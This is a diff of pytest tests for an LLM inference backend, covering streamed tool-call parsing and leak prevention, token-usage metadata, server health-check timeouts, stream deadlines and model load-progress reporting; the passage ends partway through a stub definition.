+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch):
+    """An oversized still-open JSON answer with a non-enabled name streams as content, not a phantom drain."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)]
+    first_stream.append(_done())
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "long json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts[:1]
+
+
+def test_gemma_wrapperless_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """Gemma 4 GGUF (skip_special_tokens) streams a wrapper-less ``call:NAME{..}``
+    with no XML signal. Like bare JSON, the BUFFERING scan must recognise it via
+    _GEMMA_BARE_TC_RE, drain it silently, and execute the tool -- never leaking
+    the ``call:`` markup to the user-visible stream."""
+
+    gemma_call = 'call:web_search{query:"weather in Sydney"}'
+    first_stream = _streamed_content(gemma_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("call:" not in t for t in content_texts), content_texts
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
+def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
+    """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
+    real server reports it on the final chunk of a completion."""
+    return (
+        "data: "
+        + json.dumps(
+            {
+                "choices": [{"index": 0, "delta": {}, "finish_reason": finish_reason}],
+                "usage": usage,
+            }
+        )
+        + "\n"
+    )
+
+
+def test_metadata_event_preserves_prompt_tokens_details(monkeypatch):
+    """The tool loop's metadata event must carry llama-server's
+    ``prompt_tokens_details`` (KV-cache hits) through ``_build_metadata_event``,
+    so the route reports real ``cached_tokens`` instead of always 0 (#6570).
+
+    This drives the *real* generator; the route-level test feeds a pre-built
+    metadata event and so never exercises this code.
+    """
+    stream = [
+        _sse({"content": "The answer is 42."}),
+        _usage_done(
+            {
+                "prompt_tokens": 20,
+                "completion_tokens": 4,
+                "prompt_tokens_details": {"cached_tokens": 16},
+            }
+        ),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            max_tool_iterations = 1,
+        )
+    )
+
+    metadata = [e for e in events if e.get("type") == "metadata"]
+    assert metadata, "expected a metadata event"
+    usage = metadata[-1]["usage"]
+    assert usage["prompt_tokens_details"] == {"cached_tokens": 16}
+    assert usage["prompt_tokens"] == 20
+    assert usage["completion_tokens"] == 4
+
+
+def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
+    """No KV-cache block from the server -> the key isn't fabricated, so the
+    route falls back to its 0-default instead of reading a bogus value."""
+    stream = [
+        _sse({"content": "hi"}),
+        _usage_done({"prompt_tokens": 5, "completion_tokens": 2}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            max_tool_iterations = 1,
+        )
+    )
+
+    metadata = [e for e in events if e.get("type") == "metadata"]
+    assert metadata, "expected a metadata event"
+    assert "prompt_tokens_details" not in metadata[-1]["usage"]
+
+
+def test_gguf_rehearsal_name_split_before_args_is_not_leaked(monkeypatch):
+    """Finding 6: a rehearsal call whose name (``web_search``) and ``[ARGS]{...}``
+    arrive in separate content deltas must hold the bare name in the buffer until
+    ``[ARGS]`` flips it to a drain. Without _is_rehearsal_prefix the GGUF path
+    streams the tool name as visible content before the call executes."""
+
+    first_stream = [
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_initial_buffer_flush_holds_split_rehearsal_name(monkeypatch):
+    """The first flush out of BUFFERING (prose plus a trailing active-tool-name in
+    the first delta, ``[ARGS]{...}`` in the next) must apply the same trailing-name
+    hold the STREAMING branch uses. The first delta has spaces so it is not a
+    rehearsal prefix and falls to the initial flush, which previously emitted the
+    bare name before the call drained."""
+
+    first_stream = [
+        _sse({"content": "I will use web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all("[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_name_after_prose_in_streaming_is_not_leaked(monkeypatch):
+    """Finding 9: the BUFFERING guard only covers a rehearsal at the turn start.
+    When prose has already streamed (STREAMING state) and the model then emits the
+    tool name and ``[ARGS]{...}`` in later deltas, the bare name must still be held,
+    not flushed as visible content before the call drains."""
+
+    first_stream = [
+        _sse({"content": "Let me think. "}),
+        _sse({"content": "I will search "}),
+        _sse({"content": "web_search"}),
+        _sse({"content": '[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+
+
+def test_gguf_plain_answer_ending_with_tool_name_word_is_preserved(monkeypatch):
+    """End-of-stream flush: a plain answer that ENDS on a tool-name word with no
+    ``[ARGS]`` following is real prose and must not be dropped by the streaming
+    rehearsal hold."""
+
+    first_stream = [
+        _sse({"content": "I think "}),
+        _sse({"content": "you should "}),
+        _sse({"content": "web_search"}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "advise"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in content_texts), content_texts
+
+
+def test_gguf_long_tool_name_split_rehearsal_is_not_capped_and_executes(monkeypatch):
+    """Finding 11: a realistic MCP name longer than the 32-char buffer cap split as
+    NAME then [ARGS]{...} must still be held (a rehearsal prefix is self-bounding),
+    so the name does not leak and the call executes."""
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= 32, len(name)
+
+    first_stream = [
+        _sse({"content": name}),
+        _sse({"content": '[ARGS]{"x":1}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [(name, {"x": 1})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(name in t for t in content_texts), content_texts
+
+
+def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch):
+    """F4: the GGUF streaming strip must run its open-ended ``[ARGS]`` tail cleanup
+    only on the LAST segment. A bare ``foo[ARGS]`` (no JSON body, ``foo`` not a tool)
+    before a <think> block is prose, not a truncated call, so the final visible text
+    must keep it verbatim instead of dropping ``foo[ARGS]`` and corrupting the
+    sentence."""
+
+    first_stream = [
+        _sse({"content": "Please pass foo[ARGS] "}),
+        _sse({"content": "<think>pause</think> "}),
+        _sse({"content": "to the template."}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert content_texts, events
+    assert content_texts[-1] == "Please pass foo[ARGS] <think>pause</think> to the template."
+
+
+def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch):
+    """BUG A: an inactive-name ``foo[ARGS]{...}`` in a prose answer must not be treated
+    as a tool call. The BUFFERING and end-of-stream safety-net ``[ARGS]`` checks gate on
+    active tool names (like the safetensors loop and the mid-stream path), so ``foo``
+    (``web_search`` is the only enabled tool) is neither drained/parsed into a disabled
+    no-op nor forced into another generation turn."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"x":1} is just syntax.'}),
+        _done(),
+    ]
+    backend = _make_backend(monkeypatch, [first_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "x"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # No tool executed for the inactive name; a spurious no-op re-prompt would exhaust the
+    # single supplied stream and error.
+    assert calls == [], calls
+    assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence.
+    assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts
+
+
+def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch):
+    """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}``
+    in one delta must NOT swallow the real call; web_search executes while the inactive
+    rehearsal stays visible as prose."""
+    first_stream = [
+        _sse({"content": 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found cats."}), _done()]
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], [])
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    # The real call runs; ``foo`` is not executed as a phantom disabled call.
+    assert calls == [("web_search", {"query": "cats"})], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    # The inactive rehearsal is preserved as prose; the active one is stripped.
+    assert any('foo[ARGS]{"a":1}' in t for t in content_texts), content_texts
+    assert all("web_search[ARGS]" not in t for t in content_texts), content_texts
+
+
+def test_gguf_rehearsal_detection_recognises_spent_one_shot_with_original_tools():
+    # Rehearsal detection is fed the ORIGINAL tool list, so a spent one-shot's re-emitted
+    # repeat is still detected (matching the strip gate) instead of blanking the turn.
+    from core.inference.llama_cpp import _gguf_has_genuine_tool_signal
+    from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+
+    repeat = 'render_html[ARGS]{"code":"<html>x</html>"}'
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, active_only)
+    assert _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, original)
+
+
+def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot():
+    # The BUFFERING prefix check and STREAMING/flush tail-holds use the ORIGINAL tool list,
+    # so a spent one-shot's split repeat is held rather than leaked as visible text.
+    from core.inference.llama_cpp import _held_rehearsal_tail_len, _is_rehearsal_prefix
+
+    active_only = [{"type": "function", "function": {"name": "web_search"}}]
+    original = active_only + [{"type": "function", "function": {"name": "render_html"}}]
+    assert not _is_rehearsal_prefix("render_html", active_only)
+    assert _is_rehearsal_prefix("render_html", original)
+    assert _held_rehearsal_tail_len("answer render_html", active_only) == 0
+    assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html")
+
+
+def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch):
+    """An oversized bare-JSON call drains rather than streams, and still executes via the safety net."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)]
+    first_stream.append(_done())
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1]
+    assert calls and calls[0][0] == "python"
+    assert len(calls[0][1].get("code", "")) > cap
+
+
+def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch):
+    """After a bare-JSON call executes, the kept assistant message must not carry the raw call as content."""
+
+    import copy
+
+    first_stream = [
+        _sse({"content": '{"name":"web_search","parameters":{"query":"cats"}}'}),
+        _done(),
+    ]
+    final_stream = [_sse({"content": "Found."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "RESULT")
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    assert len(payloads) >= 2
+    asst = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
+def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch):
+    """A single textual-fallback turn that parses many DISTINCT tool calls must be
+    capped at _MAX_TOOL_CALLS_PER_TURN (structured delta.tool_calls are grammar
+    bounded by llama-server; text parsed from content is not). Mirrors the
+    safetensors loop so one runaway turn cannot fan out into dozens of executions."""
+    from core.inference.llama_cpp import _MAX_TOOL_CALLS_PER_TURN
+
+    n = _MAX_TOOL_CALLS_PER_TURN + 4
+    blocks = "".join(
+        '<tool_call>{"name":"t%d","arguments":{"i":%d}}</tool_call>' % (i, i) for i in range(n)
+    )
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == _MAX_TOOL_CALLS_PER_TURN, [c[0] for c in calls]
+    # The cap keeps the first calls in order (no reordering / drop of leading ones).
+    assert [c[0] for c in calls] == [f"t{i}" for i in range(_MAX_TOOL_CALLS_PER_TURN)]
+
+
+def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch):
+    """Exact-duplicate textual calls in one turn collapse to a single execution."""
+    blocks = '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>' * 5
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == 1, [c[0] for c in calls]
+
+
+def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch):
+    """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls)."""
+
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+
+    def _run(auto_heal):
+        stream = [_sse({"content": trunc}), _done()]
+        backend = _make_backend(monkeypatch, [stream], [])
+        calls: list[tuple[str, dict]] = []
+        monkeypatch.setattr(
+            "core.inference.tools.execute_tool",
+            lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+        )
+        events = list(
+            backend.generate_chat_completion_with_tools(
+                messages = [{"role": "user", "content": "x"}],
+                tools = [{"type": "function", "function": {"name": "web_search"}}],
+                max_tool_iterations = 1,
+                auto_heal_tool_calls = auto_heal,
+            )
+        )
+        contents = "".join(e.get("text", "") for e in events if e.get("type") == "content")
+        return calls, contents
+
+    calls_off, contents_off = _run(False)
+    assert calls_off == [], calls_off
+    assert "web_search" in contents_off, contents_off
+
+    calls_on, contents_on = _run(True)
+    assert calls_on == [], calls_on
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch):
+    """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds."""
+    # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the
+    # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass.
+    streams = [
+        _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6)
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search repeatedly"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 2,
+        )
+    )
+
+    # Exactly two executed tool rounds, then one final-answer pass.
+    assert len(calls) == 2, calls
+    assert len(payloads) == 3, len(payloads)
+    # The final pass is the budget-exhausted nudge and carries no tools.
+    assert _tool_names(payloads[2]) == [], _tool_names(payloads[2])
+    assert any(
+        m.get("role") == "user" and "used all available tool calls" in m.get("content", "")
+        for m in payloads[2]["messages"]
+    ), payloads[2]["messages"]
diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py
index 1ba6c9f7b5..82c5b4931a 100644
--- a/studio/backend/tests/test_llama_cpp_wait_for_health.py
+++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py
@@ -67,6 +67,15 @@ class TestWaitForHealthResilience:
         monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp)
         assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True
 
+    def test_timeout_records_marker_for_classification(self, monkeypatch):
+        """A live-but-never-healthy server leaves a marker so the failure is
+        classified as a /health timeout, not a bad GGUF (#5740)."""
+        b = _make_backend()
+        b._process.poll.return_value = None
+        monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503))
+        assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False
+        assert any("health check timed out" in ln for ln in b._stdout_lines)
+
     def test_read_error_loops_to_subprocess_poll(self, monkeypatch):
         """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log."""
         b = _make_backend()
diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py
index 5aee6198ba..24866bd03e 100644
--- a/studio/backend/tests/test_llama_route_timeouts.py
+++ b/studio/backend/tests/test_llama_route_timeouts.py
@@ -5,6 +5,7 @@ import asyncio
 import os
 import sys
 import time
+import threading
 from types import SimpleNamespace
 
 _backend = os.path.join(os.path.dirname(__file__), "..")
@@ -40,6 +41,123 @@ def test_stream_first_item_deadline_after_headers():
     asyncio.run(_run())
 
 
+def test_stream_first_item_deadline_does_not_hop_tasks():
+    async def _run():
+        outer_task = asyncio.current_task()
+        seen_tasks = []
+
+        class _One:
+            def __init__(self):
+                self.done = False
+
+            async def __anext__(self):
+                seen_tasks.append(asyncio.current_task())
+                if self.done:
+                    raise StopAsyncIteration
+                self.done = True
+                return "data: {}"
+
+        out = []
+        async for item in inf_mod._aiter_llama_stream_items(
+            _One(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            out.append(item)
+
+        assert out == ["data: {}"]
+        assert seen_tasks == [outer_task, outer_task]
+
+    asyncio.run(_run())
+
+
+def test_stream_first_item_deadline_uses_compat_timeout_without_task_hop(monkeypatch):
+    monkeypatch.setattr(inf_mod.asyncio, "timeout", None, raising = False)
+
+    async def _run():
+        outer_task = asyncio.current_task()
+        seen_tasks = []
+
+        class _One:
+            def __init__(self):
+                self.done = False
+
+            async def __anext__(self):
+                seen_tasks.append(asyncio.current_task())
+                if self.done:
+                    raise StopAsyncIteration
+                self.done = True
+                return "data: {}"
+
+        out = []
+        async for item in inf_mod._aiter_llama_stream_items(
+            _One(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            out.append(item)
+
+        assert out == ["data: {}"]
+        assert seen_tasks == [outer_task, outer_task]
+
+    asyncio.run(_run())
+
+
+def test_stream_wait_stops_on_known_disconnect_before_read():
+    async def _run():
+        state = SimpleNamespace(disconnect_checks = 0)
+        cancel_event = threading.Event()
+
+        class _Request:
+            async def is_disconnected(self):
+                state.disconnect_checks += 1
+                return True
+
+        class _Unread:
+            async def __anext__(self):
+                raise AssertionError("stream should stop before reading upstream")
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _Unread(),
+            cancel_event = cancel_event,
+            request = _Request(),
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            raise AssertionError("stream should stop after disconnect")
+
+        assert cancel_event.is_set()
+        assert state.disconnect_checks == 1
+
+    asyncio.run(_run())
+
+
+def test_stream_wait_does_not_shorten_upstream_read_for_disconnect_poll():
+    async def _run():
+        response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}}))
+        seen_read_timeouts = []
+
+        class _Request:
+            async def is_disconnected(self):
+                return False
+
+        class _NoItem:
+            async def __anext__(self):
+                seen_read_timeouts.append(response.request.extensions["timeout"]["read"])
+                raise StopAsyncIteration
+
+        async for _ in inf_mod._aiter_llama_stream_items(
+            _NoItem(),
+            cancel_event = threading.Event(),
+            request = _Request(),
+            response = response,
+            first_token_deadline = time.monotonic() + 1,
+        ):
+            raise AssertionError("stream should end")
+
+        assert seen_read_timeouts
+        assert seen_read_timeouts[0] > inf_mod._STREAM_DISCONNECT_POLL_TIMEOUT_S
+
+    asyncio.run(_run())
+
+
 def test_preheader_send_cleanup_on_disconnect_and_cancel():
     async def _run(cancel_parent):
         state = SimpleNamespace(disconnected = False, closed = False, cancelled = False)
diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py
new file mode 100644
index 0000000000..2e499cd8c6
--- /dev/null
+++ b/studio/backend/tests/test_load_progress_ready_fraction.py
@@ -0,0 +1,166 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""load_progress() must report a complete load once llama-server is healthy.
+
+With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages
+after upload, so its VmRSS sinks back well below the shard total. The raw RSS
+fraction would then sit at a partial (~8%) value forever and freeze a
+fraction-driven progress bar even though the model is ready -- the "stuck around
+8% on the second pass" symptom in #5740. In the ready phase the fraction must be
+1.0 regardless of resident set size.
+"""
+
+from __future__ import annotations
+
+import io
+import sys
+import types
+from pathlib import Path
+from unittest.mock import patch
+
+import pytest
+
+# Stub heavy/unavailable deps before importing the module under test, so a
+# targeted run in the lightweight backend env (no structlog/httpx) still
+# collects. setdefault keeps the real modules when they are installed. Mirrors
+# test_llama_cpp_load_progress_matrix.py.
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+sys.modules.setdefault("structlog", types.ModuleType("structlog"))
+
+_httpx_stub = types.ModuleType("httpx")
+for _exc_name in (
+    "ConnectError",
+    "TimeoutException",
+    "ReadTimeout",
+    "ReadError",
+    "RemoteProtocolError",
+    "CloseError",
+):
+    setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+
+
+class _FakeTimeout:
+    def __init__(self, *a, **kw):
+        pass
+
+
+_httpx_stub.Timeout = _FakeTimeout
+_httpx_stub.Client = type(
+    "Client",
+    (),
+    {
